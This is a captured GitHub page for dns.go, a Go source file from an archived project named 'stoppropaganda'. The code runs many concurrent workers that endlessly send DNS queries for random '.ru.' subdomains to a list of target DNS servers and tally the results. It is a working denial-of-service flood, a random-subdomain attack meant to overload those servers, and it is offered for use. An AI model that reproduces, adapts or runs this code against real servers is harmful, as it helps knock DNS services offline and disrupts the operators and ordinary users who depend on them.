This repository has been archived by the owner on Dec 25, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 72
/
dns.go
81 lines (69 loc) · 1.81 KB
/
dns.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package stoppropaganda
import (
"strings"
"sync"
"github.com/erkexzcx/stoppropaganda/internal/customprng"
"github.com/erkexzcx/stoppropaganda/internal/targets"
"github.com/miekg/dns"
)
type DNSTargetStatus struct {
Requests uint `json:"requests"`
Success uint `json:"success"`
Errors uint `json:"errors"`
LastErrorMsg string `json:"last_error_msg"`
}
type DNSTarget struct {
Status DNSTargetStatus
mux sync.Mutex
target string
}
var dnsClient *dns.Client
var dnsTargets = map[string]*DNSTarget{}
func startDNS() {
for targetDNSServer := range targets.TargetDNSServers {
dnsTargets[targetDNSServer] = &DNSTarget{
target: targetDNSServer,
}
}
dnsChannel := make(chan *DNSTarget, *flagDNSWorkers)
// Spawn workers
for i := 0; i < *flagDNSWorkers; i++ {
go runDNSWorker(dnsChannel)
}
// Issue tasks
go func() {
for {
for _, dns := range dnsTargets {
dnsChannel <- dns
}
}
}()
}
func runDNSWorker(c chan *DNSTarget) {
rng := customprng.New(19) // max chars (15) + ".ru." (4) = 24
message := new(dns.Msg)
for {
dnsTarget := <-c
randomDomain := rng.StringSuffix(3, 15, ".ru.")
message.SetQuestion(randomDomain, dns.TypeA)
_, _, err := dnsClient.Exchange(message, dnsTarget.target)
dnsTarget.mux.Lock()
dnsTarget.Status.Requests++
if err != nil {
dnsTarget.Status.Errors++
switch {
case strings.HasSuffix(err.Error(), "no such host"):
dnsTarget.Status.LastErrorMsg = "Host does not exist"
case strings.HasSuffix(err.Error(), "connection refused"):
dnsTarget.Status.LastErrorMsg = "Connection refused"
case strings.HasSuffix(err.Error(), "i/o timeout"):
dnsTarget.Status.LastErrorMsg = "Query timeout"
default:
dnsTarget.Status.LastErrorMsg = err.Error()
}
} else {
dnsTarget.Status.Success++
}
dnsTarget.mux.Unlock()
}
}